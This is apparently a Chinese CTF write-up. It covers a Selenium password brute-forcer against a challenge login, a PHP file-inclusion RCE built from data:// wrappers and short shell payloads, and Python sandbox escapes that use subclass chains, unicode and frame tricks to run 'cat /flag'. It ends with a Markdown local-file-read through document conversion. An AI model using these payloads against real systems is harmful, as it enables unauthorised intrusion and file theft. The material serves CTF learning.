渗透测试

进入是登录框,抓包可以看到参数和响应都加密了:

image-20260131173238355

image-20260131173248682

给了密码本,那应该是爆破密码,不过由于参数被加密,要用requests库的话就要逆向js了,我比较菜,就选择用selenium库了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import requests
from pathlib import Path
import re
from typing import Union
import threading
import importlib
import platform
import time
from selenium import webdriver
from selenium.webdriver.chrome.service import Service as ChromeService
from selenium.webdriver.chrome.options import Options as ChromeOptions
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC


def get_web_driver(browser="chrome", driver_path=None, show_window=False) -> webdriver:
"""
初始化浏览器驱动
:param browser: 浏览器类型,默认使用 Chrome
:param driver_path: 使用自定义路径,默认为空
:param show_window: 是否需要展示窗口
:return:
"""

if browser == "chrome":
try:
if driver_path is None or driver_path == "":
driver_path = Path(ChromeDriverManager().install())

driver_dir = driver_path if driver_path.is_dir() else driver_path.parent
driver_path = driver_dir / "chromedriver.exe"

service = ChromeService(executable_path=str(driver_path))

options = ChromeOptions()

# user_data_dir = tempfile.mkdtemp()
# options.add_argument(f"--user-data-dir={user_data_dir}")

options.add_argument("--no-first-run")
options.add_argument("--disable-infobars")
options.add_argument("--start-maximized")
options.add_experimental_option('useAutomationExtension', False)
options.add_experimental_option('excludeSwitches', ['enable-automation'])
options.add_argument('--disable-blink-features=AutomationControlled')
options.add_argument("user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Edg/141.0.0.0")

driver = webdriver.Chrome(service=service, options=options)

except Exception as e:
raise Exception("无法初始化浏览器,请检查网络或手动安装 ChromeDriver")

elif browser == "edge":
# TODO
raise Exception("暂未开发Edge浏览器支持")

else:
raise Exception(f"不支持的浏览器类型: {browser}")

# 去除特征
driver.execute_cdp_cmd("Page.addScriptToEvaluateOnNewDocument", {
"source": """
Object.defineProperty(navigator, 'webdriver', {
get: () => undefined
})
"""
})

driver.execute_cdp_cmd("Browser.resetPermissions", {})

driver.set_page_load_timeout(300)
return driver

def get_passwords():
with open("152252_passwords.txt", "r") as fp:
data = fp.readlines()
return data

if __name__ == "__main__":
local_driver_path = "C:\\Users\\86156\\.wdm\\drivers\\chromedriver\\win64\\143.0.7499.42\\chromedriver-win32\\chromedriver.exe"
driver = get_web_driver(driver_path=local_driver_path)

driver.get("http://114.66.24.228:31557")


wait = WebDriverWait(driver, 10)
username_input = wait.until(EC.presence_of_element_located((By.ID, "username")))
password_input = driver.find_element(By.ID, "password")

passwords = get_passwords()

i = 0
while i <= len(passwords):
password = passwords[i].strip()

username_input.clear()
username_input.send_keys("admin")

password_input.clear()
password_input.send_keys(password)

login_button = driver.find_element(By.ID, "sendBtn")

login_button.click()

time.sleep(0.1)
result_element = wait.until(
EC.presence_of_element_located((By.ID, "result"))
)
result_text = result_element.text.strip()
print(f"{i}/{len(passwords)}", password, result_text)

i += 1

if result_text is None or result_text == "" or result_text == "Hacker!":
i -= 1
continue

if result_text != "login failed!":
break

image-20260131173616449

脚本倒是有点小问题,密码的提交结果似乎延后了一个,爆破完后手动再测试,密码应该是5V26s9dBZQVBZgyyVC00baeW

signin

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);

$blacklist = ['/', 'convert', 'base', 'text', 'plain'];

$file = $_GET['file'];

foreach ($blacklist as $banned) {
if (strpos($file, $banned) !== false) {
die("这个是不允许的哦~");
}
}

if (isset($file) && strlen($file) <= 20){
include $file;
};

显然漏洞利用点是include,可以打文件包含

/被过滤,不能直接包含/flag,尝试伪协议

data://xxx,xxx实际上用data:,xxx也可以代替,/并不是刚需

限制了payload长度,找到最短的webshell是:

1
<?=`whoami`;

image-20260131175911766

/被ban了,没法直接读flag,尝试多次cd ..又会超字符限制,相当于要打一个8字符RCE,可参考:CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_ctf中字符长度限制下的命令执行 5个字符-CSDN博客

依次运行payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
data:,<?=`>hp`;
data:,<?=`>1.p\\`;
data:,<?=`>d\>\\`;
data:,<?=`>\ -\\`;
data:,<?=`>e64\\`;
data:,<?=`>bas\\`;
data:,<?=`>7\|\\`;
data:,<?=`>XSk\\`;
data:,<?=`>Fsx\\`;
data:,<?=`>dFV\\`;
data:,<?=`>kX0\\`;
data:,<?=`>bCg\\`;
data:,<?=`>XZh\\`;
data:,<?=`>AgZ\\`;
data:,<?=`>waH\\`;
data:,<?=`>PD9\\`;
data:,<?=`>o\ \\`;
data:,<?=`>ech\\`;
data:,<?=`ls -t>0`;
data:,<?=`sh 0`;

image-20260131180601647

image-20260131180818586

I really really really

normal

简单fuzz一下存在以下WAF:

  • 字符过滤
1
2
3
4
5
6
7
8
9
10
11
0123456789
[]
__
\
{}
''
""
;
def
class
getitem
  • __builtins__被清空

  • 每行限制字符不超过30

通过继承链可以找回内置类,进而通过这些内置类获取到敏感方法

首先获取基类:

1
().__class__.__base__

__class被过滤了,可以通过unicode编码斜体字绕过:

不过有几种被专门waf了:

image-20260202010600567

可以用,它也会被解析为_

此处需要注意的是,魔术方法最前面的下划线需要是非unicode的,即写成_︴class︴︴

image-20260202010949161

image-20260202011006144

所以获取基类:

1
obj=()._︴cl𝖆ss︴︴._︴base︴︴

进一步获取继承类:

1
o_sub=obj._︴subcl𝖆sses︴︴()

当然继承类很多,由于方括号被ban了,暂时没法直接通过索引的方式获取需要的类

我这里采用的方法是,依次pop(),直到pop()到需要的类

通过list + dict可以构造指定字符串:

1
list(dict(whoami=1)).pop() # whoami

于是先恢复listdict,获取下索引:

image-20260202011909255

(此处尽可能使用和环境相同或相近的python版本)

pop(0)就是弹出列表第一个元素,可用pop(False)替代,pop(False) 27次得到dict,39次得到list,即:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
dict=o_sub.pop(False)

o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
list=o_sub.pop(False)

(PS: 其实也不需要这样一次次pop(),通过while语句会更方便,赛时犯蠢了,后面想起来后,已构造好的也懒得改了,数字的构造参考后文)

一个个pop太多了,现在既然恢复dict和list可以构造字符串绕过引号了,通过一个循环语句和条件判断语句会更方便:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
wa=list(dict(_w=f)).pop()
wa+=list(dict(rap=f)).pop()
wa+=list(dict(_cl=f)).pop()
wa+=list(dict(ose=f)).pop()

o_sub=obj._︴subcl𝖆sses︴︴()
wao=None
for x in o_sub:
if wa == x._︴name︴︴:
wao = x
break

glo=wao._︴init︴︴._︴globals︴︴

po=list(dict(pop=f)).pop()
po+=list(dict(en=f)).pop()

cmd=list(dict(env=f)).pop()

ret=glo.get(po)(cmd).read()
# 基本等效实现了[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["popen"]("env").read()

但是这样没有回显,不过简单观察一下就可以发现,如果代码执行出错,我们可以获取报错内容:

image-20260202014023090

利用Exception主动抛出错误即可,当然也需要先恢复一下Exception类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
be=list(dict(Ba=f)).pop()
be+=list(dict(se=f)).pop()
be+=list(dict(Ex=f)).pop()
be+=list(dict(ce=f)).pop()
be+=list(dict(pti=f)).pop()
be+=list(dict(on=f)).pop()

o_sub=obj._︴subcl𝖆sses︴︴()
beo=None
for x in o_sub:
if be == x._︴name︴︴:
beo = x
break

epo = beo._︴subcl𝖆sses︴︴()
epo.pop()
epo.pop()
epo.pop()
epo = epo.pop()

# 先获取BaseException类,再通过BaseException类找到Exception类,直接抛出BaseException站点会崩溃

简单串联一下即可,normal完整payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
f = False

obj=()._︴cl𝖆ss︴︴._︴base︴︴
o_sub=obj._︴subcl𝖆sses︴︴()

o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
dict=o_sub.pop(False)

o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
list=o_sub.pop(False)

be=list(dict(Ba=f)).pop()
be+=list(dict(se=f)).pop()
be+=list(dict(Ex=f)).pop()
be+=list(dict(ce=f)).pop()
be+=list(dict(pti=f)).pop()
be+=list(dict(on=f)).pop()

o_sub=obj._︴subcl𝖆sses︴︴()
beo=None
for x in o_sub:
if be == x._︴name︴︴:
beo = x
break

epo = beo._︴subcl𝖆sses︴︴()
epo.pop()
epo.pop()
epo.pop()
epo = epo.pop()


wa=list(dict(_w=f)).pop()
wa+=list(dict(rap=f)).pop()
wa+=list(dict(_cl=f)).pop()
wa+=list(dict(ose=f)).pop()

o_sub=obj._︴subcl𝖆sses︴︴()
wao=None
for x in o_sub:
if wa == x._︴name︴︴:
wao = x
break

glo=wao._︴init︴︴._︴globals︴︴

po=list(dict(pop=f)).pop()
po+=list(dict(en=f)).pop()

cmd=list(dict(env=f)).pop()

ret=glo.get(po)(cmd).read()

raise epo(ret)

image-20260201020706630

revenge

这下/flag不在环境变量了,不能直接env,而需要cat /flag

其中空格和/没法通过list(dict(env=f)).pop()这样来获取了,那就要用到chr()和数字了

对于数字过滤,可以通过TrueFalse配合数学运算构造

True即是1,False即是0,由此构造获得数字:

1
2
3
4
5
6
7
8
9
10
11
12
13
f = False
t = True

na=f # 0
nb=na+t # 1
nc=nb+t # 2
nd=nc+t # 3
ne=nd+t # 4
nf=ne+t # 5
ng=nf+t # 6
nh=ng+t # 7
ni=nh+t # 8
nj=ni+t # 9

再恢复chr

1
2
3
4
5
6
7
8
9
10
11
# 构造__builtins__
_bu=list(dict(_=f)).pop()
_bu+=list(dict(_bu=f)).pop()
_bu+=list(dict(ilt=f)).pop()
_bu+=list(dict(ins=f)).pop()
_bu+=list(dict(_=f)).pop()
_bu+=list(dict(_=f)).pop()

# 获取chr用于后续构造空格和/
ch = list(dict(chr=f)).pop()
chr=glo.get(_bu).get(ch)

再构造空格和/

1
2
sl = chr(ng*ni-nb) # /
sp = chr(ne*ni) # 空格

再老样子拼接出cat /flag即可,revenge完整payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
f = False
t = True

na=f # 0
nb=na+t # 1
nc=nb+t # 2
nd=nc+t # 3
ne=nd+t # 4
nf=ne+t # 5
ng=nf+t # 6
nh=ng+t # 7
ni=nh+t # 8
nj=ni+t # 9

# 获取list和dict
obj=()._︴cl𝖆ss︴︴._︴base︴︴
o_sub=obj._︴subcl𝖆sses︴︴()

o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
dict=o_sub.pop(False)

o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
o_sub.pop(False)
list=o_sub.pop(False)

# 利用list和dict构造字符串
be=list(dict(Ba=f)).pop()
be+=list(dict(se=f)).pop()
be+=list(dict(Ex=f)).pop()
be+=list(dict(ce=f)).pop()
be+=list(dict(pti=f)).pop()
be+=list(dict(on=f)).pop()

# 获取Execption,回显使用
o_sub=obj._︴subcl𝖆sses︴︴()
beo=None
for x in o_sub:
if be == x._︴name︴︴:
beo = x
break

epo = beo._︴subcl𝖆sses︴︴()
epo.pop()
epo.pop()
epo.pop()
epo = epo.pop()

# 构造字符串获取_wrap_close
wa=list(dict(_w=f)).pop()
wa+=list(dict(rap=f)).pop()
wa+=list(dict(_cl=f)).pop()
wa+=list(dict(ose=f)).pop()

o_sub=obj._︴subcl𝖆sses︴︴()
wao=None
for x in o_sub:
if wa == x._︴name︴︴:
wao = x
break

glo=wao._︴init︴︴._︴globals︴︴

# 构造__builtins__
_bu=list(dict(_=f)).pop()
_bu+=list(dict(_bu=f)).pop()
_bu+=list(dict(ilt=f)).pop()
_bu+=list(dict(ins=f)).pop()
_bu+=list(dict(_=f)).pop()
_bu+=list(dict(_=f)).pop()

# 获取chr用于后续构造空格和/
ch = list(dict(chr=f)).pop()
chr=glo.get(_bu).get(ch)

# 构造popen用以rce
po=list(dict(pop=f)).pop()
po+=list(dict(en=f)).pop()

# 构造/和空格
sl = chr(ng*ni-nb)
sp = chr(ne*ni)

cmd=list(dict(cat=f)).pop()
cmd+=sp
cmd+=sl
cmd+=list(dict(fl=f)).pop()
cmd+=list(dict(ag=f)).pop()

ret=glo.get(po)(cmd).read()

# 回显
raise epo(ret)

image-20260201021023094

ultimate

unicode也不让用了,老样子获取继承链行不通

这里需要用到栈帧逃逸,可以看这位师傅的博客:沙箱逃逸 | Blog of AyaN0

不过defclass都被过滤了不能直接用原pyload,简单改造一下:

1
2
3
4
5
6
7
8
a = (
a.gi_frame.f_back
for i in (True,)
)
(a,) = a
globals = a.f_globals

print(globals)

image-20260202015840900

不过对于沙箱环境,需要再f_back一次:

image-20260202020032616

然后拿到__builtins__可以通过try ... execpt ...语句配合for循环进行:

1
2
3
4
5
6
7
8
9
10
11
12
__builtins__有chritems=globals.copy().items()
bls = None
blo = None
for k,v in items:
try:
v.chr
bls=k
blo=v
break
except:
pass
# f_globals中只有__builtins__有chr

由此就恢复了__builtins__,再参考normalrevenge的做法即可

不同的是,这里我既然都恢复了内置函数,就直接使用eval执行命令了,不过需要注意手动设置eval__builtins__

ultimate的完整payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
f = False
t = True

na=f
nb=na+t
nc=nb+t
nd=nc+t
ne=nd+t
nf=ne+t
ng=nf+t
nh=ng+t
ni=nh+t
nj=ni+t

a = (
a.gi_frame.f_back
for i in (t,)
)
(a,) = a
globals = a.f_back.f_globals

items=globals.copy().items()
bls = None
blo = None
for k,v in items:
try:
v.chr
bls=k
blo=v
break
except:
pass

chr=blo.chr
exp=blo.Exception
list=blo.list
dict=blo.dict


# __
xh=list(dict(_=f)).pop()
xh+=list(dict(_=f)).pop()

kg = chr(ne*ni) # 空格
xg = chr(ng*ni-nb) # 斜杠/
zkh=chr(nf*ni) # (
ykh=chr(nf*ni+nb) # )
yh=chr(nf*ni-nb) # '
d=chr(ng*nh+ne) # .

# cmd: cat /flag
cmd=list(dict(cat=f)).pop()
cmd+=kg
cmd+=xg
cmd+=list(dict(fl=f)).pop()
cmd+=list(dict(ag=f)).pop()

# __import__('os').popen(cmd).read()
imp=xh
imp+=list(dict(imp=f)).pop()
imp+=list(dict(ort=f)).pop()
imp+=xh
imp+=zkh
imp+=yh
imp+=list(dict(os=f)).pop()
imp+=yh
imp+=ykh
imp+=d
imp+=list(dict(po=f)).pop()
imp+=list(dict(p=f)).pop()
imp+=list(dict(en=f)).pop()
imp+=zkh
imp+=yh
imp+=cmd
imp+=yh
imp+=ykh
imp+=d
imp+=list(dict(re=f)).pop()
imp+=list(dict(ad=f)).pop()
imp+=zkh
imp+=ykh

bl=dict(((bls, blo),))

data = blo.eval(imp,bl)

raise exp(data)

image-20260201044223221

Markdown2world

简单抓包测试了一下,似乎只能从markdown转成html, docx, rtf, epub, odt, plain

image-20260201161416081

image-20260201161343212

markdown当中,通过![名字](文件路径)这样的语法是可以包含本地文件的。

通过转化工具,一些格式可能并不支持动态包含本地文件,那么在转化过程中,就可能将服务器上本地内容直接保存在转化后文件当中,于是我挨个测试了一下支持转化的这几种文件格式。

首先原始的markdown文档内容是:

1
![1](/etc/passwd)

转成html的结果:

image-20260201161842470

转成docx的结果:

image-20260201162003367

虽然显示不出来,但是解压一下docx文档可以在./word/media/rId9.so文件中看到:

image-20260201162702625

转成rtf的结果:

image-20260201162943875

转成epub格式:

image-20260201163215799

解压文件后在./EPUB/media/file0文件中可以找到:

image-20260201163345663

转成odt格式:

image-20260201163551216

解压后在./Pictures/0文件中可以找到:

image-20260201163746594

转成plain格式

image-20260201163856961

总结来说,docxepubodt这几个格式都行,随便选一个读flag即可:

1
![flag](/flag)

image-20260201164046122